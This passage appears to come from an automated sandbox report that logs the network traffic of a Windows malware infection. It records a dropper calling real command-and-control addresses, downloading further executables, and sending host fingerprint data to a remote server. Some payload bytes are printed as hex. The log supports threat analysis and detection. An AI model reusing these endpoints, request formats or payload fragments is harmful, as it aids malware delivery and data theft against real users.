Nov 30, 2024 09:45:09.334564924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:09.335011005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:09.335025072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:09.335926056 CET	1236	IN	Data Raw: 81 5b 59 dc 2f 98 e3 05 d8 ce 88 30 2f a6 3d 29 55 34 91 f9 97 4a 17 a8 89 93 f8 1c 5d 4e 4f fc 8e a6 80 a0 f5 07 5f b4 03 ff ef 44 f8 6d 68 2f 7e dd 0f e1 dc 32 d3 ee a6 d6 e7 89 5c 0a d0 d6 3f f1 21 f1 ec a1 ff 43 ff 75 61 e6 b8 30 58 67 6a d3 Data Ascii: [Y/0/=)U4J]NO_Dmh/~2\?!Cua0Xgj.q~pW{jPAcMCo&/ZK*gNC{/lblasm@W{T0ZT`PqZX('?cJ XE!$ y
Nov 30, 2024 09:45:09.335937977 CET	1236	IN	Data Raw: 0f d5 da da 33 4e e3 b7 db c8 29 2a d8 d6 52 2d 2f be e0 30 98 f0 a5 b2 ec c9 62 cc 77 02 f7 de 1e 82 f2 73 0b 00 93 f8 6d e0 c2 28 f1 56 b1 b1 e4 06 6f 09 81 04 11 e2 d0 31 15 78 3b bf e2 ea 7b be d2 66 96 32 a3 57 ab 4e 21 28 8f b2 e1 c7 ef e1 Data Ascii: 3N)*R-/0bwsm(Vo1x;{f2WN!(1k6$hEnE%FB"nUY<1^]Doc!A@7XAQ>yP&)U}h{~>b'dG$?-ZP
Nov 30, 2024 09:45:09.336994886 CET	1236	IN	Data Raw: 79 13 0f 26 b4 75 47 dc 1c ed e2 b3 19 6f 76 c0 eb a6 aa a8 5b 4a 34 9c 27 b9 64 f3 97 dc 4f 25 d3 4f 4d 0a d1 f0 8c 15 11 68 4b a2 97 cb ff 59 39 5e 27 c6 d3 50 e3 83 f7 c9 d5 5b a0 e6 b9 1b d1 34 a5 3a f0 21 da 72 e6 de a6 6a 50 ec 96 3a 44 82 Data Ascii: y&uGov[J4'dO%OMhKY9^'P[4:!rjP:DmFLJaX$(0u~fYAeT">9.C^\u~d_PRs]3`\NG9\11C/i$lWDeRr2r_]WB}
Nov 30, 2024 09:45:09.337007046 CET	1236	IN	Data Raw: 5b c5 60 6c 53 b2 65 a6 eb 7d 1e a9 67 ae 65 5b e2 59 31 7f 01 a8 08 97 ac c6 6c 3e a5 ae ad c7 db 9d f5 4d 50 bf 4d d6 f6 cf d6 a8 63 c0 d4 e6 21 c6 b6 84 ab 57 e1 b2 e2 46 53 78 26 dd 06 54 df 02 a7 a0 91 c1 61 8d 50 40 93 e4 b7 a6 19 4a 35 a1 Data Ascii: [`lSe}ge[Y1l>MPMc!WFSx&TaP@J5I]f?y?N65s_x"rnAvNa>-fS8[f\F"CYnrh.>wqH.RQ G>Z;f7^UsM+k
Nov 30, 2024 09:45:09.337908983 CET	1236	IN	Data Raw: 1c 0d e5 5f 39 05 fe dd d1 c3 4c e7 f0 47 02 c1 5b 09 ac 45 5c c5 b0 ba e4 0d dc 7d e4 a8 28 29 68 b6 f0 b3 1f 9a 70 34 9a 9f ab bd 23 ca a8 bd 7c cb ef 62 5c 19 ac 45 5c 51 b1 46 e5 1d dc 7d e5 34 dd 17 54 48 8a e9 0b fe ca 18 1a a5 52 14 7d c0 Data Ascii: _9LG[E\}()hp4#\|b\E\QF}4THR}Wf^/gI^aX>1 C3'TP62& YmWKTpy:s+[A\aJQBq.Xt3_2)$Y
Nov 30, 2024 09:45:09.454741001 CET	1236	IN	Data Raw: fd ad 71 1c 8b a9 5a c8 f7 e1 c1 20 90 21 4d ab 5a b0 f3 d2 c0 37 65 14 66 f7 2b a8 14 50 d1 e0 eb 3e 08 7d e1 be e6 f4 b3 02 bb 06 2d 45 2c 4a 25 e9 1d b1 6e 5b c9 36 3c 4d 30 a4 0b 4a 10 55 28 46 55 ac f7 25 6b 77 b7 28 14 aa 35 fd 7e ab a9 00 Data Ascii: qZ !MZ7ef+P>}-E,J%n[6<M0JU(FU%kw(5~2:CXvHd/?_pH=jo$2:/CkTGv\|}A{5{)U^P74ME9RY{* 6%f[#%)7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49816	185.215.113.43	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:19.172828913 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 35 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010570001&unit=246122658369
Nov 30, 2024 09:45:20.570194006 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49823	31.41.244.11	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:20.694238901 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 30, 2024 09:45:22.134130001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:21 GMT Content-Type: application/octet-stream Content-Length: 2028032 Last-Modified: Sat, 30 Nov 2024 08:43:24 GMT Connection: keep-alive ETag: "674ad02c-1ef200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 d9 52 43 b2 b8 3c 10 b2 b8 3c 10 b2 b8 3c 10 ac ea b8 10 ac b8 3c 10 ac ea a9 10 ad b8 3c 10 ac ea bf 10 cd b8 3c 10 95 7e 47 10 b1 b8 3c 10 b2 b8 3d 10 33 b8 3c 10 ac ea b6 10 b3 b8 3c 10 ac ea a8 10 b3 b8 3c 10 ac ea ad 10 b3 b8 3c 10 52 69 63 68 b2 b8 3c 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 18 5b c6 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 7c 05 00 00 ec 00 00 00 00 00 00 00 a0 4b 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 4b 00 00 04 00 00 9c a1 1f 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$RC<<<<<<~G<=3<<<<Rich<PEL[d\|K@K[o`4WK P@.rsrc4`<@.idata @ )@zeyoifdy0@tiucznkdK@.taggant0K"@
Nov 30, 2024 09:45:22.134144068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:22.134157896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:22.134270906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:22.134287119 CET	896	IN	Data Raw: e8 43 7e 14 1f 1f a7 be 1f d6 bb 6d 2b 39 2c a7 30 76 aa d9 0b b0 23 18 5c 22 bd e4 fe 58 43 cd ab c3 37 3b 6e 2b f8 ea 2a 9b b6 9b 16 c3 58 50 2f 8b dd ca 35 49 98 2b 9a 2a 51 de 62 98 a5 f0 aa ff e6 4b 35 12 99 91 72 e9 b1 2a 3d 66 e2 91 ef 97 Data Ascii: C~m+9,0v#\"XC7;n+XP/5I+QbK5r*=f@['=.8%m(Fr;jQZ .`EX\|7u\c#U]&qT;)wZl[x AcR=C~CUX3a7qVl
Nov 30, 2024 09:45:22.134803057 CET	1236	IN	Data Raw: 53 4c 99 58 47 b3 7c d2 04 75 4a bc c5 06 8a 54 1a 2f 42 b1 3b 4a 77 d8 05 68 e1 35 46 b5 9f 91 9c 8b 77 68 4d ae 9a 72 44 df fa 96 a8 99 86 01 5b 37 87 b5 fe 3a 96 37 f6 7a 34 cf 2d ce 99 57 56 0a f3 fa 31 87 88 98 c7 98 bc e5 02 a9 29 1e d6 e5 Data Ascii: SLXG\|uJT/B;Jwh5FwhMrD[7:7z4-WV1)Ywl/X'YZe`\-6<9F.*2za\<i}tJACag^XMEt~RS9CnqEwYn~NU
Nov 30, 2024 09:45:22.134939909 CET	1236	IN	Data Raw: 72 ba 58 2b 36 fc d4 a9 00 94 bf 53 ff 9b c5 ad 46 8a f7 51 11 30 57 af a8 4b 5f 05 94 0f a6 65 4e 9a 5e 85 64 4a ea 81 f8 c7 32 b2 77 f2 74 6e 33 b2 5e 0b 8f ca 84 60 f8 94 0a c4 0c 8f e6 eb c1 c2 be 1b ba ca c8 71 49 bc 3c 7f 0c cb b9 e9 c6 75 Data Ascii: rX+6SFQ0WK_eN^dJ2wtn3^`qI<uv+8eJ!zW-sz1*&>NmK@G&hD8lJYEkNJ("("tn.MtNGH5o'vHBzvgkX?X
Nov 30, 2024 09:45:22.135754108 CET	1236	IN	Data Raw: 4a fc 31 2e 9b 4c 41 9f 8e db 0e 3e ab 8a 98 b1 26 b8 76 ae a0 d0 e4 33 ff 4e 0e 96 46 6a f8 11 0b e7 57 ee f3 92 5e d6 02 b0 51 65 4e 9a 16 c6 d8 49 3f 02 1a 9b bf 52 89 0a 9f b1 4a fe 92 5c ce 9f 6f 29 b1 a1 b9 dc 0c ba 16 68 ea 4d 63 ae 56 36 Data Ascii: J1.LA>&v3NFjW^QeNI?RJ\o)hMcV6QRFQW`/_KvbN=$fKpd)V2^J.NYcVM`]i^6W/{^nD{[Fi3=ABwMeH&na@ZQ'e
Nov 30, 2024 09:45:22.135765076 CET	1236	IN	Data Raw: 1e 76 3a 55 4e 2b 4e a5 81 80 1d 81 04 68 f7 b1 2a d7 97 56 09 90 4a dd 7a 8c 6b e6 86 4a f8 25 00 ce 57 01 34 51 4e d7 55 37 7a be 6e 08 1f 20 d4 c5 10 0e 37 01 c4 ec 0c 88 b7 69 88 a5 1c ce c6 76 d6 a6 22 18 c2 39 7a 8a de b1 d6 be 96 a8 5d bd Data Ascii: v:UN+Nh*VJzkJ%W4QNU7zn 7iv"9z]L$KOIS7]3.RRWoLdNLMMy\BB)uDFJV3CankiGiL4!BwblCzM{MWE~V"OMNHlB
Nov 30, 2024 09:45:22.135775089 CET	896	IN	Data Raw: 4c 5d 53 33 f4 3a db 62 0f 50 b8 cf 06 55 2a b6 57 5f 9f cf 6e 7f 41 38 c2 65 a2 f3 2d c8 9e a1 dd c5 a6 3a 0b cb 6a 36 00 0b 45 21 f7 2a 08 b0 66 c3 18 f6 0e dc 0b bf 28 8a fc 47 60 fa dd 76 f9 9e b8 a6 da fc cc 89 f2 4b 57 4e 1a dd 15 69 82 1e Data Ascii: L]S3:bPUW_nA8e-:j6E!f(G`vKWNiX;A{/[C1lE#rSrJG{Ccrd;X SnjdQ,I:f?3SvI]yQoL)u#^_\|:XOl?F+m
Nov 30, 2024 09:45:22.254553080 CET	1236	IN	Data Raw: c0 68 14 ba 00 5b 13 73 42 97 48 98 53 c4 82 4a 3d 90 a7 ae d4 6b e4 b8 47 4f e8 df cf 32 2d d2 50 1d 91 85 cf c7 5a fd 31 0f 93 d5 b7 3a ab e8 32 ab f2 12 8a 05 02 e6 49 b4 e7 fb 4c 23 b5 9c 92 a8 c6 31 22 45 27 0e 98 00 bf ee 6a 7f 6f 98 f3 e7 Data Ascii: h[sBHSJ=kGO2-PZ1:2IL#1"E'jo!z_e U7Fv+VmPa\|XG-[rrv+Kneb+e>ZUm2JVQ\L.)GvZ1K&pGniIPJ#=.VG>~W_Cd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49828	34.118.84.150	80	1904	C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:23.282557011 CET	12360	OUT	POST /bugEWhhZIPIipxajeFfO1732855736 HTTP/1.1 Host: home.twentykx20pt.top Accept: / Content-Type: application/json Content-Length: 459426 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 39 35 36 33 32 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.228", "current_time": "1732956321", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Nov 30, 2024 09:45:23.402734041 CET	7416	OUT	Data Raw: 50 6a 76 34 4e 31 6a 51 62 4d 33 31 39 66 66 44 43 77 2b 48 5c 2f 78 31 2b 49 66 77 35 38 4d 47 37 6e 76 62 6d 5c 2f 31 4c 56 50 44 56 31 6f 6e 68 72 53 6f 6e 38 51 33 74 33 63 58 64 72 71 72 79 51 36 31 4a 5c 2f 70 56 70 66 58 6e 35 71 56 5c 2f Data Ascii: Pjv4N1jQbM319ffDCw+H\/x1+Ifw58MG7nvbm\/1LVPDV1onhrSon8Q3t3cXdrqryQ61J\/pVpfXn5qV\/UPhR4ucJ+L3D\/wDbfDdedHE4aUKOcZJjJU45nk+KnFyhDEU4SlGrhsQozlgsdRvh8VGFSKdPE0MTh6H8feMvghxr4G8Tvh\/ivD06+ExkJ4jIuIcDGrLKM9wlOSjOphatSMZUcXhnOEMfl1dRxODnOlNqrhcRhMV
Nov 30, 2024 09:45:23.402820110 CET	2472	OUT	Data Raw: 52 68 47 72 53 4d 56 55 5a 4f 66 37 52 38 4e 38 4e 6d 75 52 38 58 38 4f 35 72 67 63 79 71 35 58 6a 48 78 64 6c 57 51 5a 6c 53 79 37 46 34 6e 44 34 6d 61 77 32 63 5a 62 44 45 55 61 31 66 44 63 6c 47 74 67 4b 38 71 39 53 6e 43 6e 44 46 56 34 56 50 Data Ascii: RhGrSMVUZOf7R8N8NmuR8X8O5rgcyq5XjHxdlWQZlSy7F4nD4maw2cZbDEUa1fDclGtgK8q9SnCnDFV4VPq8\/a0IQlRqVfwTxUeR8QcC8V5dmWUYXOMMuCM8zzLquaYDCYvDUp1cjzSph6+Go4xVK+Hx+HWGp1JTlhaEqft6TpV51IVqdL+PCo5O341JSMC355r\/eU\/5rCCipdg9\/8AP4UbB7\/5\/CgDifHHi5fBmkQ6o1
Nov 30, 2024 09:45:23.402844906 CET	2472	OUT	Data Raw: 6c 5a 58 36 70 5c 2f 38 45 61 5c 2f 2b 54 34 50 43 5c 2f 77 44 32 49 58 78 44 5c 2f 77 44 54 49 4b 5c 2f 46 76 70 46 66 38 6d 52 38 53 66 38 41 73 6e 4b 33 5c 2f 71 52 68 7a 39 76 2b 6a 76 38 41 38 6e 74 38 4e 5c 2f 38 41 73 6f 36 48 5c 2f 70 6a Data Ascii: lZX6p\/8Ea\/+T4PC\/wD2IXxD\/wDTIK\/FvpFf8mR8Sf8AsnK3\/qRhz9v+jv8A8nt8N\/8Aso6H\/pjEH9gtFFFf4cH+4IUUUUAfFvhj9jfSvDP7Xvxe\/apTx7qd7afEv4fWvhrRPhTNoVnHoPgHxzrFl4V0L4p\/E3TNbS+N7qWq\/E3wt8LfgvoV9pM9hZ2+i\/8ACvry\/s7y5n8YausPwfa\/8EZvDug6v+zn4n0\/X
Nov 30, 2024 09:45:23.403058052 CET	7416	OUT	Data Raw: 5c 2f 72 49 73 66 76 50 38 41 79 62 5c 2f 48 5c 2f 50 70 54 5c 2f 4c 5c 2f 64 77 5c 2f 75 50 6b 39 35 66 33 48 32 6a 39 66 70 5c 2f 55 55 78 59 39 30 65 2b 48 35 50 33 6f 5c 2f 31 6e 2b 6f 5c 2f 5c 2f 41 46 66 6e 57 33 74 66 4f 58 39 66 4d 31 70 Data Ascii: \/rIsfvP8Ayb\/H\/PpT\/L\/dw\/uPk95f3H2j9fp\/UUxY90e+H5P3o\/1n+o\/\/AFfnW3tfOX9fM1pfZ+f6jPvfudkePK82L972\/wCfr\/PrTPLdR8\/yP5v\/AC17c\/8ALp+nb3zxU2\/5tjvsh\/1R\/df8sM\/5Pb3o+fy0fZHsuM+\/8v8AP41QDN3myeYiSJ\/y1\/1Xn9Mfz6\/54Z\/q9\/z7+f8AV+b58H+R2
Nov 30, 2024 09:45:23.403155088 CET	4944	OUT	Data Raw: 2b 6a 77 2b 4e 37 4f 32 76 39 62 38 4d 57 64 35 65 36 6c 34 59 54 54 50 46 45 65 69 2b 49 74 46 6d 53 63 75 57 4b 55 62 7a 6e 54 68 7a 54 6c 4b 45 4b 66 50 55 6a 48 32 31 53 55 49 7a 71 52 70 55 4c 2b 32 71 79 6f 30 36 32 49 56 4f 6e 4a 34 65 68 Data Ascii: +jw+N7O2v9b8MWd5e6l4YTTPFEei+ItFmScuWKUbznThzTlKEKfPUjH21SUIzqRpUL+2qyo062IVOnJ4ehXr+zpTunLkmp886fJeopU1ereCc0qScqcfayaUaXPUpU\/aOPtK1KnzVI+B\/st\/EXxpqniH4v8AwY8Qa5efF\/QPgTr2neE\/D\/7SEcdnDb+OLiVb5dW+GvjcwxadY6t8b\/hC1na6L8UvEXgexvPAur3moabL
Nov 30, 2024 09:45:23.522849083 CET	2472	OUT	Data Raw: 2b 45 33 6a 72 55 50 47 44 61 52 70 2b 76 52 57 6c 68 6f 6b 73 2b 6d 79 36 71 5a 59 55 6b 35 37 53 74 52 30 75 2b 31 6a 77 62 6f 2b 70 2b 4a 76 42 65 68 52 65 4d 76 68 64 38 48 5c 2f 41 49 78 51 2b 49 4c 75 5c 2f 77 44 46 75 70 2b 48 5c 2f 44 33 Data Ascii: +E3jrUPGDaRp+vRWlhoks+my6qZYUk57StR0u+1jwbo+p+JvBehReMvhd8H\/AIxQ+ILu\/wDFup+H\/D3gn41+B9D+IPhO88Rr4f8AA+r+KheWfh7xFpp1yz8O+FfEbwXjTQ6W2rwpHcS\/D0vEjgOvmUcnw\/FGXYjNZxxso5dh\/bV8ZL+zq+aYXG044elSnVdehiMlzahLDqPt5VcvxUIU5SpNH6RW8JfEnDZRUz\/FcH5v
Nov 30, 2024 09:45:23.523025990 CET	2472	OUT	Data Raw: 52 77 38 71 30 4b 31 61 63 49 51 56 52 66 30 46 34 4f 35 4c 39 4a 66 77 69 34 77 34 6f 7a 6a 77 38 34 42 7a 52 63 52 35 56 77 74 68 4d 48 78 4a 51 78 75 54 55 4d 79 6a 67 38 67 34 6c 71 5a 56 6e 32 57 54 65 48 71 56 6f 4b 64 54 4e 58 6c 2b 58 56 Data Ascii: Rw8q0K1acIQVRf0F4O5L9Jfwi4w4ozjw84BzRcR5VwthMHxJQxuTUMyjg8g4lqZVn2WTeHqVoKdTNXl+XVsteFlVr4q6w9CnUqVvZy\/bf\/AIfrn\/o1kf8Ah8P\/AMUFH\/D9c\/8ARrI\/8Ph\/+KCvwj8P+Cde8W\/D7wb8TtCv\/BEHhLx9+1L8I\/2QvC9xr\/ie+02+1P4rfGOW3h8P3MFhpXhzxA58IaPLe2MXiLWy4
Nov 30, 2024 09:45:23.523040056 CET	2472	OUT	Data Raw: 6a 54 34 42 66 42 7a 34 75 5c 2f 73 36 2b 50 5c 2f 77 42 6f 62 39 6e 6e 34 6a 33 6e 37 62 58 77 6c 38 49 61 33 34 45 38 61 66 73 38 2b 4d 50 2b 43 66 66 77 30 38 58 66 41 62 77 6a 34 41 31 33 78 48 48 4a 4a 34 59 2b 4d 33 6a 54 39 6f 33 78 76 61 Data Ascii: jT4BfBz4u\/s6+P\/wBob9nn4j3n7bXwl8Ia34E8afs8+MP+Cffw08XfAbwj4A13xHHJJ4Y+M3jT9o3xva\/En4b+BNI1T4oeK\/Bt5490\/wCJIB\/Xx4f8QaD4s0LRfFPhXW9I8S+GfEmlafrvh3xH4f1Kz1nQte0PVrSK\/wBK1nRdX06a50\/VNK1OxngvdP1GxuJ7S9tJori2mkhkRzr1+Bf7RP7Rv7Y3wx0H\/gpF4+8E
Nov 30, 2024 09:45:23.523262024 CET	4944	OUT	Data Raw: 58 2b 66 38 6e 70 51 7a 4a 2b 35 66 5a 47 6e 6c 78 66 76 66 2b 50 72 33 5c 2f 7a 5c 2f 41 50 71 6f 4e 51 6b 6a 2b 56 33 6a 68 2b 54 5c 2f 41 46 76 6c 79 66 36 5c 2f 37 50 38 41 38 75 67 7a 2b 59 5c 2f 4b 6f 58 2b 58 5a 73 5c 2f 35 61 66 75 70 65 Data Ascii: X+f8npQzJ+5fZGnlxfvf+Pr3\/z\/APqoNQkj+V3jh+T\/AFvlyf6\/7P8A8ugz+Y\/KoX+XZs\/5afupevP\/AE9fX0\/wo+Qr9zZD5XlRSRy\/6n\/S+f8AOfWpv3wSFPvvcd\/+evf\/AD\/jQAyOTa0exPNf\/nn16\/5+uahXfHG7v8\/Tzf3XT0tf8+1DN+8\/u\/8AbI+fN29\/ofX8KNztE6Im+T\/lr\/17+\/8Anv
Nov 30, 2024 09:45:23.523332119 CET	2472	OUT	Data Raw: 59 4e 44 30 57 4d 45 37 69 71 61 58 59 42 53 53 41 4d 6b 4c 41 42 6b 67 41 5a 36 34 46 46 66 36 46 6d 55 34 78 5a 72 4b 66 69 42 6e 33 74 38 37 77 6b 4d 48 6d 47 49 57 44 79 79 6e 4e 30 38 4c 44 47 66 32 59 38 50 43 6c 68 4b 64 44 44 56 4d 74 78 Data Ascii: YND0WME7iqaXYBSSAMkLABkgAZ64FFf6FmU4xZrKfiBn3t87wkMHmGIWDyynN08LDGf2Y8PClhKdDDVMtxePxmbYedGjSlXzSvKvj\/r1Fugehhf2hme4CplLo+F\/DKo5Bh81wmS0J47Oa8MJhc\/hjKOd0qksTj8RVxccfhMdUy9LH1MYsJgKVCjl31KdCnVj8faJ8UPg7p8vj\/45QeJ3+HHj\/wCNXg7xF8aPGHwM8c+Gfi
Nov 30, 2024 09:45:26.080033064 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 30 Nov 2024 08:45:25 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 77 4a 36 79 32 52 36 38 33 39 44 36 57 65 47 4d 31 37 33 32 39 35 36 33 32 35 Data Ascii: wJ6y2R6839D6WeGM1732956325

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49834	34.118.84.150	80	1904	C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:26.469326019 CET	126	OUT	GET /bugEWhhZIPIipxajeFfO1732855736?argument=wJ6y2R6839D6WeGM1732956325 HTTP/1.1 Host: home.twentykx20pt.top Accept: /
Nov 30, 2024 09:45:28.079260111 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 30 Nov 2024 08:45:27 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="702160lCJQdaACBdkekql;" last-modified: Fri, 29 Nov 2024 04:48:56 GMT cache-control: no-cache etag: "1732855736.2222292-10816560-3972208884" Data Raw: 7d 09 6f f0 a6 59 c0 a4 5a b9 7a 7e 84 fa 9d 5a 59 c8 09 0a dc bd 97 9d 73 32 de 4a cf 99 50 54 f1 1c 73 75 b5 1a cc 2e 49 da 5d 78 05 d9 7b 4b 95 5f f5 c7 f2 0d 04 8b 09 e0 de 87 40 6c 88 81 fb 54 37 00 4a 5f bc 2a 22 b0 8b e1 1a 19 cc 4c a0 62 5c 49 89 32 3c e1 81 16 d3 a5 3f 91 fc f1 66 f2 e1 99 5c 98 2d 1b 4c ae fd 7e 2c 79 d7 91 06 ff 21 ed ee 1d de bf 99 3f 1b 6c 6e 6b c4 8b 39 76 91 92 06 05 c9 eb be c3 88 0e ba 35 e1 5e ba e9 e4 84 8f 4f 9b 99 d5 a7 c0 ee 21 0c 8b 70 4b c6 59 69 48 f0 2c 23 02 ea 67 a2 2a 06 0c 44 b1 d8 09 95 eb ad a5 dd cc 2e 8b 91 d3 80 08 12 ed 4f 68 c6 a7 71 87 a9 46 8d 98 50 46 6e 33 c5 4d aa da c9 2b 70 91 51 72 87 09 81 3f a3 45 b9 7f dd 08 c6 72 94 44 16 74 89 bf d5 8e 7e 9b 13 bc ca a0 bd 9f b9 77 eb 95 f2 48 48 e1 d6 0e 49 2f b8 3f 0f 3e f5 48 0b 62 cd c8 c0 91 b6 de bb 2c 70 9b 58 e1 9f 25 93 f3 d5 35 d7 4e b0 37 10 c0 fb 97 be 0c 97 e9 bb 99 a6 81 b0 fa 21 c4 ed 28 b7 45 8b 20 ad 18 22 82 c0 63 4f d9 3d 92 68 76 c2 33 52 8b 40 fb 09 a6 e0 10 fb 7b e5 ef 47 ad cc [TRUNCATED] Data Ascii: 